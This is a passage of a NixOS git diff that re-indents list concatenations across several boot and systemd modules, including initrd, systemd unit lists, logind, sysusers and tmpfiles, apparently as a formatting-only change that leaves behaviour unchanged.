-          symlink = "/etc/modprobe.d/ubuntu.conf";
-        }
-        {
-          object = config.environment.etc."modprobe.d/nixos.conf".source;
-          symlink = "/etc/modprobe.d/nixos.conf";
-        }
-        {
-          object = pkgs.kmod-debian-aliases;
-          symlink = "/etc/modprobe.d/debian.conf";
-        }
-      ]
-      ++ lib.optionals config.services.multipath.enable [
-        {
-          object =
-            pkgs.runCommand "multipath.conf"
-              {
-                src = config.environment.etc."multipath.conf".text;
-                preferLocalBuild = true;
-              }
-              ''
-                target=$out
-                printf "$src" > $out
-                substituteInPlace $out \
-                  --replace ${config.services.multipath.package}/lib ${extraUtils}/lib
-              '';
-          symlink = "/etc/multipath.conf";
-        }
-      ]
-      ++ (lib.mapAttrsToList (symlink: options: {
-        inherit symlink;
-        object = options.source;
-      }) config.boot.initrd.extraFiles);
+    contents = [
+      {
+        object = bootStage1;
+        symlink = "/init";
+      }
+      {
+        object = "${modulesClosure}/lib";
+        symlink = "/lib";
+      }
+      {
+        object = "${pkgs.kmod-blacklist-ubuntu}/modprobe.conf";
+        symlink = "/etc/modprobe.d/ubuntu.conf";
+      }
+      {
+        object = config.environment.etc."modprobe.d/nixos.conf".source;
+        symlink = "/etc/modprobe.d/nixos.conf";
+      }
+      {
+        object = pkgs.kmod-debian-aliases;
+        symlink = "/etc/modprobe.d/debian.conf";
+      }
+    ]
+    ++ lib.optionals config.services.multipath.enable [
+      {
+        object =
+          pkgs.runCommand "multipath.conf"
+            {
+              src = config.environment.etc."multipath.conf".text;
+              preferLocalBuild = true;
+            }
+            ''
+              target=$out
+              printf "$src" > $out
+              substituteInPlace $out \
+                --replace ${config.services.multipath.package}/lib ${extraUtils}/lib
+            '';
+        symlink = "/etc/multipath.conf";
+      }
+    ]
+    ++ (lib.mapAttrsToList (symlink: options: {
+      inherit symlink;
+      object = options.source;
+    }) config.boot.initrd.extraFiles);
   };
 
   # Script to add secret files to the initrd at bootloader update time
diff --git a/nixos/modules/system/boot/stratisroot.nix b/nixos/modules/system/boot/stratisroot.nix
index 68c387f2d3cc..1f91192c93c1 100644
--- a/nixos/modules/system/boot/stratisroot.nix
+++ b/nixos/modules/system/boot/stratisroot.nix
@@ -70,26 +70,25 @@ in
           };
         }) requiredStratisFilesystems;
       };
-      availableKernelModules =
-        [
-          "dm-thin-pool"
-          "dm-crypt"
-        ]
-        ++ [
-          "aes"
-          "aes_generic"
-          "blowfish"
-          "twofish"
-          "serpent"
-          "cbc"
-          "xts"
-          "lrw"
-          "sha1"
-          "sha256"
-          "sha512"
-          "af_alg"
-          "algif_skcipher"
-        ];
+      availableKernelModules = [
+        "dm-thin-pool"
+        "dm-crypt"
+      ]
+      ++ [
+        "aes"
+        "aes_generic"
+        "blowfish"
+        "twofish"
+        "serpent"
+        "cbc"
+        "xts"
+        "lrw"
+        "sha1"
+        "sha256"
+        "sha512"
+        "af_alg"
+        "algif_skcipher"
+      ];
       services.udev.packages = [
         pkgs.stratisd.initrd
         pkgs.lvm2
diff --git a/nixos/modules/system/boot/systemd.nix b/nixos/modules/system/boot/systemd.nix
index 6ac7ff073e78..753dab0af4f8 100644
--- a/nixos/modules/system/boot/systemd.nix
+++ b/nixos/modules/system/boot/systemd.nix
@@ -26,185 +26,184 @@ let
     sliceToUnit
     ;
 
-  upstreamSystemUnits =
-    [
-      # Targets.
-      "basic.target"
-      "sysinit.target"
-      "sockets.target"
-      "exit.target"
-      "graphical.target"
-      "multi-user.target"
-      "network.target"
-      "network-pre.target"
-      "network-online.target"
-      "nss-lookup.target"
-      "nss-user-lookup.target"
-      "time-sync.target"
-      "first-boot-complete.target"
-    ]
-    ++ optionals cfg.package.withCryptsetup [
-      "cryptsetup.target"
-      "cryptsetup-pre.target"
-      "remote-cryptsetup.target"
-    ]
-    ++ [
-      "sigpwr.target"
-      "timers.target"
-      "paths.target"
-      "rpcbind.target"
+  upstreamSystemUnits = [
+    # Targets.
+    "basic.target"
+    "sysinit.target"
+    "sockets.target"
+    "exit.target"
+    "graphical.target"
+    "multi-user.target"
+    "network.target"
+    "network-pre.target"
+    "network-online.target"
+    "nss-lookup.target"
+    "nss-user-lookup.target"
+    "time-sync.target"
+    "first-boot-complete.target"
+  ]
+  ++ optionals cfg.package.withCryptsetup [
+    "cryptsetup.target"
+    "cryptsetup-pre.target"
+    "remote-cryptsetup.target"
+  ]
+  ++ [
+    "sigpwr.target"
+    "timers.target"
+    "paths.target"
+    "rpcbind.target"
 
-      # Rescue mode.
-      "rescue.target"
-      "rescue.service"
+    # Rescue mode.
+    "rescue.target"
+    "rescue.service"
 
-      # systemd-debug-generator
-      "debug-shell.service"
+    # systemd-debug-generator
+    "debug-shell.service"
 
-      # Udev.
-      "systemd-udevd-control.socket"
-      "systemd-udevd-kernel.socket"
-      "systemd-udevd.service"
-      "systemd-udev-settle.service"
-    ]
-    ++ (optional (!config.boot.isContainer) "systemd-udev-trigger.service")
-    ++ [
-      # hwdb.bin is managed by NixOS
-      # "systemd-hwdb-update.service"
+    # Udev.
+    "systemd-udevd-control.socket"
+    "systemd-udevd-kernel.socket"
+    "systemd-udevd.service"
+    "systemd-udev-settle.service"
+  ]
+  ++ (optional (!config.boot.isContainer) "systemd-udev-trigger.service")
+  ++ [
+    # hwdb.bin is managed by NixOS
+    # "systemd-hwdb-update.service"
 
-      # Hardware (started by udev when a relevant device is plugged in).
-      "sound.target"
-      "bluetooth.target"
-      "printer.target"
-      "smartcard.target"
+    # Hardware (started by udev when a relevant device is plugged in).
+    "sound.target"
+    "bluetooth.target"
+    "printer.target"
+    "smartcard.target"
 
-      # Kernel module loading.
-      "systemd-modules-load.service"
-      "kmod-static-nodes.service"
-      "modprobe@.service"
+    # Kernel module loading.
+    "systemd-modules-load.service"
+    "kmod-static-nodes.service"
+    "modprobe@.service"
 
-      # Filesystems.
-      "systemd-fsck@.service"
-      "systemd-fsck-root.service"
-      "systemd-growfs@.service"
-      "systemd-growfs-root.service"
-      "systemd-remount-fs.service"
-      "systemd-pstore.service"
-      "local-fs.target"
-      "local-fs-pre.target"
-      "remote-fs.target"
-      "remote-fs-pre.target"
-      "swap.target"
-      "dev-hugepages.mount"
-      "dev-mqueue.mount"
-      "sys-fs-fuse-connections.mount"
-    ]
-    ++ (optional (!config.boot.isContainer) "sys-kernel-config.mount")
-    ++ [
-      "sys-kernel-debug.mount"
-      "sys-kernel-tracing.mount"
+    # Filesystems.
+    "systemd-fsck@.service"
+    "systemd-fsck-root.service"
+    "systemd-growfs@.service"
+    "systemd-growfs-root.service"
+    "systemd-remount-fs.service"
+    "systemd-pstore.service"
+    "local-fs.target"
+    "local-fs-pre.target"
+    "remote-fs.target"
+    "remote-fs-pre.target"
+    "swap.target"
+    "dev-hugepages.mount"
+    "dev-mqueue.mount"
+    "sys-fs-fuse-connections.mount"
+  ]
+  ++ (optional (!config.boot.isContainer) "sys-kernel-config.mount")
+  ++ [
+    "sys-kernel-debug.mount"
+    "sys-kernel-tracing.mount"
 
-      # Maintaining state across reboots.
-      "systemd-random-seed.service"
-    ]
-    ++ (optional cfg.package.withBootloader "systemd-boot-random-seed.service")
-    ++ [
-      "systemd-backlight@.service"
-      "systemd-rfkill.service"
-      "systemd-rfkill.socket"
+    # Maintaining state across reboots.
+    "systemd-random-seed.service"
+  ]
+  ++ (optional cfg.package.withBootloader "systemd-boot-random-seed.service")
+  ++ [
+    "systemd-backlight@.service"
+    "systemd-rfkill.service"
+    "systemd-rfkill.socket"
 
-      # Hibernate / suspend.
-      "hibernate.target"
-      "suspend.target"
-      "suspend-then-hibernate.target"
-      "sleep.target"
-      "hybrid-sleep.target"
-      "systemd-hibernate.service"
-    ]
-    ++ (lib.optional cfg.package.withEfi "systemd-hibernate-clear.service")
-    ++ [
-      "systemd-hybrid-sleep.service"
-      "systemd-suspend.service"
-      "systemd-suspend-then-hibernate.service"
+    # Hibernate / suspend.
+    "hibernate.target"
+    "suspend.target"
+    "suspend-then-hibernate.target"
+    "sleep.target"
+    "hybrid-sleep.target"
+    "systemd-hibernate.service"
+  ]
+  ++ (lib.optional cfg.package.withEfi "systemd-hibernate-clear.service")
+  ++ [
+    "systemd-hybrid-sleep.service"
+    "systemd-suspend.service"
+    "systemd-suspend-then-hibernate.service"
 
-      # Reboot stuff.
-      "reboot.target"
-      "systemd-reboot.service"
-      "poweroff.target"
-      "systemd-poweroff.service"
-      "halt.target"
-      "systemd-halt.service"
-      "shutdown.target"
-      "umount.target"
-      "final.target"
-      "kexec.target"
-      "systemd-kexec.service"
-    ]
-    ++ lib.optional cfg.package.withUtmp "systemd-update-utmp.service"
-    ++ [
+    # Reboot stuff.
+    "reboot.target"
+    "systemd-reboot.service"
+    "poweroff.target"
+    "systemd-poweroff.service"
+    "halt.target"
+    "systemd-halt.service"
+    "shutdown.target"
+    "umount.target"
+    "final.target"
+    "kexec.target"
+    "systemd-kexec.service"
+  ]
+  ++ lib.optional cfg.package.withUtmp "systemd-update-utmp.service"
+  ++ [
 
-      # Password entry.
-      "systemd-ask-password-console.path"
-      "systemd-ask-password-console.service"
-      "systemd-ask-password-wall.path"
-      "systemd-ask-password-wall.service"
+    # Password entry.
+    "systemd-ask-password-console.path"
+    "systemd-ask-password-console.service"
+    "systemd-ask-password-wall.path"
+    "systemd-ask-password-wall.service"
 
-      # Varlink APIs
-    ]
-    ++ lib.optionals cfg.package.withBootloader [
-      "systemd-bootctl@.service"
-      "systemd-bootctl.socket"
-    ]
-    ++ [
-      "systemd-creds@.service"
-      "systemd-creds.socket"
-    ]
-    ++ lib.optional cfg.package.withTpm2Units [
-      "systemd-pcrlock@.service"
-      "systemd-pcrlock.socket"
-    ]
-    ++ [
+    # Varlink APIs
+  ]
+  ++ lib.optionals cfg.package.withBootloader [
+    "systemd-bootctl@.service"
+    "systemd-bootctl.socket"
+  ]
+  ++ [
+    "systemd-creds@.service"
+    "systemd-creds.socket"
+  ]
+  ++ lib.optional cfg.package.withTpm2Units [
+    "systemd-pcrlock@.service"
+    "systemd-pcrlock.socket"
+  ]
+  ++ [
 
-      # Slices / containers.
-      "slices.target"
-    ]
-    ++ optionals cfg.package.withImportd [
-      "systemd-importd.service"
-    ]
-    ++ optionals cfg.package.withMachined [
-      "machine.slice"
-      "machines.target"
-      "systemd-machined.service"
-    ]
-    ++ [
-      "systemd-nspawn@.service"
+    # Slices / containers.
+    "slices.target"
+  ]
+  ++ optionals cfg.package.withImportd [
+    "systemd-importd.service"
+  ]
+  ++ optionals cfg.package.withMachined [
+    "machine.slice"
+    "machines.target"
+    "systemd-machined.service"
+  ]
+  ++ [
+    "systemd-nspawn@.service"
 
-      # Misc.
-      "systemd-sysctl.service"
-      "systemd-machine-id-commit.service"
-    ]
-    ++ optionals cfg.package.withTimedated [
-      "dbus-org.freedesktop.timedate1.service"
-      "systemd-timedated.service"
-    ]
-    ++ optionals cfg.package.withLocaled [
-      "dbus-org.freedesktop.locale1.service"
-      "systemd-localed.service"
-    ]
-    ++ optionals cfg.package.withHostnamed [
-      "dbus-org.freedesktop.hostname1.service"
-      "systemd-hostnamed.service"
-      "systemd-hostnamed.socket"
-    ]
-    ++ optionals cfg.package.withPortabled [
-      "dbus-org.freedesktop.portable1.service"
-      "systemd-portabled.service"
-    ]
-    ++ [
-      "systemd-exit.service"
-      "systemd-update-done.service"
-    ]
-    ++ cfg.additionalUpstreamSystemUnits;
+    # Misc.
+    "systemd-sysctl.service"
+    "systemd-machine-id-commit.service"
+  ]
+  ++ optionals cfg.package.withTimedated [
+    "dbus-org.freedesktop.timedate1.service"
+    "systemd-timedated.service"
+  ]
+  ++ optionals cfg.package.withLocaled [
+    "dbus-org.freedesktop.locale1.service"
+    "systemd-localed.service"
+  ]
+  ++ optionals cfg.package.withHostnamed [
+    "dbus-org.freedesktop.hostname1.service"
+    "systemd-hostnamed.service"
+    "systemd-hostnamed.socket"
+  ]
+  ++ optionals cfg.package.withPortabled [
+    "dbus-org.freedesktop.portable1.service"
+    "systemd-portabled.service"
+  ]
+  ++ [
+    "systemd-exit.service"
+    "systemd-update-done.service"
+  ]
+  ++ cfg.additionalUpstreamSystemUnits;
 
   upstreamSystemWants = [
     "sysinit.target.wants"
diff --git a/nixos/modules/system/boot/systemd/initrd.nix b/nixos/modules/system/boot/systemd/initrd.nix
index 04b8004bb0c5..e3dbebb8f5f3 100644
--- a/nixos/modules/system/boot/systemd/initrd.nix
+++ b/nixos/modules/system/boot/systemd/initrd.nix
@@ -78,7 +78,8 @@ let
     "timers.target"
     "umount.target"
     "systemd-bsod.service"
-  ] ++ cfg.additionalUpstreamUnits;
+  ]
+  ++ cfg.additionalUpstreamUnits;
 
   upstreamWants = [
     "sysinit.target.wants"
@@ -385,15 +386,15 @@ in
   };
 
   config = mkIf (config.boot.initrd.enable && cfg.enable) {
-    assertions =
-      [
-        {
-          assertion =
-            cfg.root == "fstab" -> any (fs: fs.mountPoint == "/") (builtins.attrValues config.fileSystems);
-          message = "The ‘fileSystems’ option does not specify your root file system.";
-        }
-      ]
-      ++ map
+    assertions = [
+      {
+        assertion =
+          cfg.root == "fstab" -> any (fs: fs.mountPoint == "/") (builtins.attrValues config.fileSystems);
+        message = "The ‘fileSystems’ option does not specify your root file system.";
+      }
+    ]
+    ++
+      map
         (name: {
           assertion = lib.attrByPath name (throw "impossible") config.boot.initrd == "";
           message = ''
@@ -428,16 +429,16 @@ in
       # systemd needs this for some features
       "autofs"
       # systemd-cryptenroll
-    ] ++ lib.optional cfg.package.withEfi "efivarfs";
+    ]
+    ++ lib.optional cfg.package.withEfi "efivarfs";
 
-    boot.kernelParams =
-      [
-        "root=${config.boot.initrd.systemd.root}"
-      ]
-      ++ lib.optional (config.boot.resumeDevice != "") "resume=${config.boot.resumeDevice}"
-      # `systemd` mounts root in initrd as read-only unless "rw" is on the kernel command line.
-      # For NixOS activation to succeed, we need to have root writable in initrd.
-      ++ lib.optional (config.boot.initrd.systemd.root == "gpt-auto") "rw";
+    boot.kernelParams = [
+      "root=${config.boot.initrd.systemd.root}"
+    ]
+    ++ lib.optional (config.boot.resumeDevice != "") "resume=${config.boot.resumeDevice}"
+    # `systemd` mounts root in initrd as read-only unless "rw" is on the kernel command line.
+    # For NixOS activation to succeed, we need to have root writable in initrd.
+    ++ lib.optional (config.boot.initrd.systemd.root == "gpt-auto") "rw";
 
     boot.initrd.systemd = {
       # bashInteractive is easier to use and also required by debug-shell.service
@@ -456,98 +457,96 @@ in
 
       managerEnvironment.PATH = "/bin:/sbin";
 
-      contents =
-        {
-          "/tmp/.keep".text = "systemd requires the /tmp mount point in the initrd cpio archive";
-          "/init".source = "${cfg.package}/lib/systemd/systemd";
-          "/etc/systemd/system".source = stage1Units;
+      contents = {
+        "/tmp/.keep".text = "systemd requires the /tmp mount point in the initrd cpio archive";
+        "/init".source = "${cfg.package}/lib/systemd/systemd";
+        "/etc/systemd/system".source = stage1Units;
 
-          "/etc/systemd/system.conf".text = ''
-            [Manager]
-            DefaultEnvironment=PATH=/bin:/sbin
-            ${cfg.extraConfig}
-            ManagerEnvironment=${
-              lib.concatStringsSep " " (
-                lib.mapAttrsToList (n: v: "${n}=${lib.escapeShellArg v}") cfg.managerEnvironment
-              )
-            }
-          '';
+        "/etc/systemd/system.conf".text = ''
+          [Manager]
+          DefaultEnvironment=PATH=/bin:/sbin
+          ${cfg.extraConfig}
+          ManagerEnvironment=${
+            lib.concatStringsSep " " (
+              lib.mapAttrsToList (n: v: "${n}=${lib.escapeShellArg v}") cfg.managerEnvironment
+            )
+          }
+        '';
 
-          "/lib".source = "${modulesClosure}/lib";
+        "/lib".source = "${modulesClosure}/lib";
 
-          "/etc/modules-load.d/nixos.conf".text = concatStringsSep "\n" config.boot.initrd.kernelModules;
+        "/etc/modules-load.d/nixos.conf".text = concatStringsSep "\n" config.boot.initrd.kernelModules;
 
-          # We can use either ! or * to lock the root account in the
-          # console, but some software like OpenSSH won't even allow you
-          # to log in with an SSH key if you use ! so we use * instead
-          "/etc/shadow".text =
-            let
-              ea = cfg.emergencyAccess;
-              access = ea != null && !(isBool ea && !ea);
-              passwd = if isString ea then ea else "";
-            in
-            "root:${if access then passwd else "*"}:::::::";
+        # We can use either ! or * to lock the root account in the
+        # console, but some software like OpenSSH won't even allow you
+        # to log in with an SSH key if you use ! so we use * instead
+        "/etc/shadow".text =
+          let
+            ea = cfg.emergencyAccess;
+            access = ea != null && !(isBool ea && !ea);
+            passwd = if isString ea then ea else "";
+          in
+          "root:${if access then passwd else "*"}:::::::";
 
-          "/bin".source = "${initrdBinEnv}/bin";
-          "/sbin".source = "${initrdBinEnv}/sbin";
+        "/bin".source = "${initrdBinEnv}/bin";
+        "/sbin".source = "${initrdBinEnv}/sbin";
 
-          "/etc/sysctl.d/nixos.conf".text = "kernel.modprobe = /sbin/modprobe";
-          "/etc/modprobe.d/systemd.conf".source = "${cfg.package}/lib/modprobe.d/systemd.conf";
-          "/etc/modprobe.d/ubuntu.conf".source = "${pkgs.kmod-blacklist-ubuntu}/modprobe.conf";
-          "/etc/modprobe.d/debian.conf".source = pkgs.kmod-debian-aliases;
+        "/etc/sysctl.d/nixos.conf".text = "kernel.modprobe = /sbin/modprobe";
+        "/etc/modprobe.d/systemd.conf".source = "${cfg.package}/lib/modprobe.d/systemd.conf";
+        "/etc/modprobe.d/ubuntu.conf".source = "${pkgs.kmod-blacklist-ubuntu}/modprobe.conf";
+        "/etc/modprobe.d/debian.conf".source = pkgs.kmod-debian-aliases;
 
-          "/etc/os-release".source = config.boot.initrd.osRelease;
-          "/etc/initrd-release".source = config.boot.initrd.osRelease;
+        "/etc/os-release".source = config.boot.initrd.osRelease;
+        "/etc/initrd-release".source = config.boot.initrd.osRelease;
 
-          # For systemd-journald's _HOSTNAME field; needs to be set early, cannot be backfilled.
-          "/etc/hostname".text = config.networking.hostName;
+        # For systemd-journald's _HOSTNAME field; needs to be set early, cannot be backfilled.
+        "/etc/hostname".text = config.networking.hostName;
 
-        }
-        // optionalAttrs (config.environment.etc ? "modprobe.d/nixos.conf") {
-          "/etc/modprobe.d/nixos.conf".source = config.environment.etc."modprobe.d/nixos.conf".source;
-        };
+      }
+      // optionalAttrs (config.environment.etc ? "modprobe.d/nixos.conf") {
+        "/etc/modprobe.d/nixos.conf".source = config.environment.etc."modprobe.d/nixos.conf".source;
+      };
 
-      storePaths =
-        [
-          # systemd tooling
-          "${cfg.package}/lib/systemd/systemd-executor"
-          "${cfg.package}/lib/systemd/systemd-fsck"
-          "${cfg.package}/lib/systemd/systemd-hibernate-resume"
-          "${cfg.package}/lib/systemd/systemd-journald"
-          "${cfg.package}/lib/systemd/systemd-makefs"
-          "${cfg.package}/lib/systemd/systemd-modules-load"
-          "${cfg.package}/lib/systemd/systemd-remount-fs"
-          "${cfg.package}/lib/systemd/systemd-shutdown"
-          "${cfg.package}/lib/systemd/systemd-sulogin-shell"
-          "${cfg.package}/lib/systemd/systemd-sysctl"
-          "${cfg.package}/lib/systemd/systemd-bsod"
-          "${cfg.package}/lib/systemd/systemd-sysroot-fstab-check"
+      storePaths = [
+        # systemd tooling
+        "${cfg.package}/lib/systemd/systemd-executor"
+        "${cfg.package}/lib/systemd/systemd-fsck"
+        "${cfg.package}/lib/systemd/systemd-hibernate-resume"
+        "${cfg.package}/lib/systemd/systemd-journald"
+        "${cfg.package}/lib/systemd/systemd-makefs"
+        "${cfg.package}/lib/systemd/systemd-modules-load"
+        "${cfg.package}/lib/systemd/systemd-remount-fs"
+        "${cfg.package}/lib/systemd/systemd-shutdown"
+        "${cfg.package}/lib/systemd/systemd-sulogin-shell"
+        "${cfg.package}/lib/systemd/systemd-sysctl"
+        "${cfg.package}/lib/systemd/systemd-bsod"
+        "${cfg.package}/lib/systemd/systemd-sysroot-fstab-check"
 
-          # generators
-          "${cfg.package}/lib/systemd/system-generators/systemd-debug-generator"
-          "${cfg.package}/lib/systemd/system-generators/systemd-fstab-generator"
-          "${cfg.package}/lib/systemd/system-generators/systemd-gpt-auto-generator"
-          "${cfg.package}/lib/systemd/system-generators/systemd-hibernate-resume-generator"
-          "${cfg.package}/lib/systemd/system-generators/systemd-run-generator"
+        # generators
+        "${cfg.package}/lib/systemd/system-generators/systemd-debug-generator"
+        "${cfg.package}/lib/systemd/system-generators/systemd-fstab-generator"
+        "${cfg.package}/lib/systemd/system-generators/systemd-gpt-auto-generator"
+        "${cfg.package}/lib/systemd/system-generators/systemd-hibernate-resume-generator"
+        "${cfg.package}/lib/systemd/system-generators/systemd-run-generator"
 
-          # utilities needed by systemd
-          "${cfg.package.util-linux}/bin/mount"
-          "${cfg.package.util-linux}/bin/umount"
-          "${cfg.package.util-linux}/bin/sulogin"
+        # utilities needed by systemd
+        "${cfg.package.util-linux}/bin/mount"
+        "${cfg.package.util-linux}/bin/umount"
+        "${cfg.package.util-linux}/bin/sulogin"
 
-          # required for services generated with writeShellScript and friends
-          pkgs.runtimeShell
-          # some tools like xfs still want the sh symlink
-          "${pkgs.bashNonInteractive}/bin"
+        # required for services generated with writeShellScript and friends
+        pkgs.runtimeShell
+        # some tools like xfs still want the sh symlink
+        "${pkgs.bashNonInteractive}/bin"
 
-          # so NSS can look up usernames
-          "${pkgs.glibc}/lib/libnss_files.so.2"
+        # so NSS can look up usernames
+        "${pkgs.glibc}/lib/libnss_files.so.2"
 
-          # Resolving sysroot symlinks without code exec
-          "${pkgs.chroot-realpath}/bin/chroot-realpath"
-        ]
-        ++ jobScripts
-        ++ map (c: builtins.removeAttrs c [ "text" ]) (builtins.attrValues cfg.contents);
+        # Resolving sysroot symlinks without code exec
+        "${pkgs.chroot-realpath}/bin/chroot-realpath"
+      ]
+      ++ jobScripts
+      ++ map (c: builtins.removeAttrs c [ "text" ]) (builtins.attrValues cfg.contents);
 
       targets.initrd.aliases = [ "default.target" ];
       units =
diff --git a/nixos/modules/system/boot/systemd/logind.nix b/nixos/modules/system/boot/systemd/logind.nix
index 456d0d99b075..097b77a91656 100644
--- a/nixos/modules/system/boot/systemd/logind.nix
+++ b/nixos/modules/system/boot/systemd/logind.nix
@@ -167,26 +167,25 @@ in
   };
 
   config = {
-    systemd.additionalUpstreamSystemUnits =
-      [
-        "systemd-logind.service"
-        "autovt@.service"
-        "systemd-user-sessions.service"
-      ]
-      ++ lib.optionals config.systemd.package.withImportd [
-        "dbus-org.freedesktop.import1.service"
-      ]
-      ++ lib.optionals config.systemd.package.withMachined [
-        "dbus-org.freedesktop.machine1.service"
-      ]
-      ++ lib.optionals config.systemd.package.withPortabled [
-        "dbus-org.freedesktop.portable1.service"
-      ]
-      ++ [
-        "dbus-org.freedesktop.login1.service"
-        "user@.service"
-        "user-runtime-dir@.service"
-      ];
+    systemd.additionalUpstreamSystemUnits = [
+      "systemd-logind.service"
+      "autovt@.service"
+      "systemd-user-sessions.service"
+    ]
+    ++ lib.optionals config.systemd.package.withImportd [
+      "dbus-org.freedesktop.import1.service"
+    ]
+    ++ lib.optionals config.systemd.package.withMachined [
+      "dbus-org.freedesktop.machine1.service"
+    ]
+    ++ lib.optionals config.systemd.package.withPortabled [
+      "dbus-org.freedesktop.portable1.service"
+    ]
+    ++ [
+      "dbus-org.freedesktop.login1.service"
+      "user@.service"
+      "user-runtime-dir@.service"
+    ];
 
     environment.etc = {
       "systemd/logind.conf".text = ''
diff --git a/nixos/modules/system/boot/systemd/nspawn.nix b/nixos/modules/system/boot/systemd/nspawn.nix
index 21684aed66d4..b57499a6b8e7 100644
--- a/nixos/modules/system/boot/systemd/nspawn.nix
+++ b/nixos/modules/system/boot/systemd/nspawn.nix
@@ -160,7 +160,8 @@ let
           [Network]
           ${attrsToSection def.networkConfig}
         '';
-      } // def;
+      }
+      // def;
     in
     base // { unit = makeUnit name base; };
 
diff --git a/nixos/modules/system/boot/systemd/repart.nix b/nixos/modules/system/boot/systemd/repart.nix
index b7ca00cf6a03..511d3d24f3e0 100644
--- a/nixos/modules/system/boot/systemd/repart.nix
+++ b/nixos/modules/system/boot/systemd/repart.nix
@@ -138,7 +138,8 @@ in
           'boot.initrd.systemd.repart.enable' requires 'boot.initrd.systemd.enable' to be enabled.
         '';
       }
-    ] ++ partitionAssertions;
+    ]
+    ++ partitionAssertions;
 
     # systemd-repart uses loopback devices for partition creation
     boot.initrd.availableKernelModules = lib.optional initrdCfg.enable "loop";
diff --git a/nixos/modules/system/boot/systemd/shutdown.nix b/nixos/modules/system/boot/systemd/shutdown.nix
index 242b47cc40b1..b42aaf5a0d32 100644
--- a/nixos/modules/system/boot/systemd/shutdown.nix
+++ b/nixos/modules/system/boot/systemd/shutdown.nix
@@ -45,7 +45,8 @@ in
     systemd.shutdownRamfs.storePaths = [
       pkgs.runtimeShell
       "${pkgs.coreutils}/bin"
-    ] ++ map (c: builtins.removeAttrs c [ "text" ]) (builtins.attrValues cfg.contents);
+    ]
+    ++ map (c: builtins.removeAttrs c [ "text" ]) (builtins.attrValues cfg.contents);
 
     systemd.mounts = [
       {
diff --git a/nixos/modules/system/boot/systemd/sysusers.nix b/nixos/modules/system/boot/systemd/sysusers.nix
index 083b14d6e701..99c55467dce1 100644
--- a/nixos/modules/system/boot/systemd/sysusers.nix
+++ b/nixos/modules/system/boot/systemd/sysusers.nix
@@ -81,23 +81,22 @@ in
 
   config = lib.mkIf cfg.enable {
 
-    assertions =
-      [
-        {
-          assertion = config.system.activationScripts.users == "";
-          message = "system.activationScripts.users has to be empty to use systemd-sysusers";
-        }
-      ]
-      ++ (lib.mapAttrsToList (username: opts: {
-        assertion = opts.enable -> !opts.isNormalUser;
-        message = "${username} is a normal user. systemd-sysusers doesn't create normal users, only system users.";
-      }) userCfg.users)
-      ++ lib.mapAttrsToList (username: opts: {
-        assertion =
-          (opts.password == opts.initialPassword || opts.password == null)
-          && (opts.hashedPassword == opts.initialHashedPassword || opts.hashedPassword == null);
-        message = "user '${username}' uses password or hashedPassword. systemd-sysupdate only supports initial passwords. It'll never update your passwords.";
-      }) systemUsers;
+    assertions = [
+      {
+        assertion = config.system.activationScripts.users == "";
+        message = "system.activationScripts.users has to be empty to use systemd-sysusers";
+      }
+    ]
+    ++ (lib.mapAttrsToList (username: opts: {
+      assertion = opts.enable -> !opts.isNormalUser;
+      message = "${username} is a normal user. systemd-sysusers doesn't create normal users, only system users.";
+    }) userCfg.users)
+    ++ lib.mapAttrsToList (username: opts: {
+      assertion =
+        (opts.password == opts.initialPassword || opts.password == null)
+        && (opts.hashedPassword == opts.initialHashedPassword || opts.hashedPassword == null);
+      message = "user '${username}' uses password or hashedPassword. systemd-sysupdate only supports initial passwords. It'll never update your passwords.";
+    }) systemUsers;
 
     systemd = {
 
diff --git a/nixos/modules/system/boot/systemd/tmpfiles.nix b/nixos/modules/system/boot/systemd/tmpfiles.nix
index d5541be0e966..21d14fe22cb9 100644
--- a/nixos/modules/system/boot/systemd/tmpfiles.nix
+++ b/nixos/modules/system/boot/systemd/tmpfiles.nix
@@ -288,21 +288,20 @@ in
         (pkgs.symlinkJoin {
           name = "tmpfiles.d";
           paths = map (p: p + "/lib/tmpfiles.d") cfg.packages;
-          postBuild =
+          postBuild = ''
+            for i in $(cat $pathsPath); do
+              (test -d "$i" && test $(ls "$i"/*.conf | wc -l) -ge 1) || (
+                echo "ERROR: The path '$i' from systemd.tmpfiles.packages contains no *.conf files."
+                exit 1
+              )
+            done
+          ''
+          + concatMapStrings (
+            name:
+            optionalString (hasPrefix "tmpfiles.d/" name) ''
+              rm -f $out/${removePrefix "tmpfiles.d/" name}
             ''
-              for i in $(cat $pathsPath); do
-                (test -d "$i" && test $(ls "$i"/*.conf | wc -l) -ge 1) || (
-                  echo "ERROR: The path '$i' from systemd.tmpfiles.packages contains no *.conf files."
-                  exit 1
-                )
-              done
-            ''
-            + concatMapStrings (
-              name:
-              optionalString (hasPrefix "tmpfiles.d/" name) ''
-                rm -f $out/${removePrefix "tmpfiles.d/" name}
-              ''
-            ) config.system.build.etc.passthru.targets;
+          ) config.system.build.etc.passthru.targets;
         })
         + "/*";
       "mtab" = {
@@ -311,61 +310,59 @@ in
       };
     };
 
-    systemd.tmpfiles.packages =
-      [
-        # Default tmpfiles rules provided by systemd
-        (pkgs.runCommand "systemd-default-tmpfiles" { } ''
-          mkdir -p $out/lib/tmpfiles.d
-          cd $out/lib/tmpfiles.d
+    systemd.tmpfiles.packages = [
+      # Default tmpfiles rules provided by systemd
+      (pkgs.runCommand "systemd-default-tmpfiles" { } ''
+        mkdir -p $out/lib/tmpfiles.d
+        cd $out/lib/tmpfiles.d
 
-          ln -s "${systemd}/example/tmpfiles.d/home.conf"
-          ln -s "${systemd}/example/tmpfiles.d/journal-nocow.conf"
-          ln -s "${systemd}/example/tmpfiles.d/portables.conf"
-          ln -s "${systemd}/example/tmpfiles.d/static-nodes-permissions.conf"
-          ln -s "${systemd}/example/tmpfiles.d/systemd.conf"
-          ln -s "${systemd}/example/tmpfiles.d/systemd-nologin.conf"
-          ln -s "${systemd}/example/tmpfiles.d/systemd-nspawn.conf"
-          ln -s "${systemd}/example/tmpfiles.d/systemd-tmp.conf"
-          ln -s "${systemd}/example/tmpfiles.d/tmp.conf"
-          ln -s "${systemd}/example/tmpfiles.d/var.conf"
-          ln -s "${systemd}/example/tmpfiles.d/x11.conf"
-        '')
-        # User-specified tmpfiles rules
-        (pkgs.writeTextFile {
-          name = "nixos-tmpfiles.d";
-          destination = "/lib/tmpfiles.d/00-nixos.conf";
-          text = ''
-            # This file is created automatically and should not be modified.
-            # Please change the option ‘systemd.tmpfiles.rules’ instead.
+        ln -s "${systemd}/example/tmpfiles.d/home.conf"
+        ln -s "${systemd}/example/tmpfiles.d/journal-nocow.conf"
+        ln -s "${systemd}/example/tmpfiles.d/portables.conf"
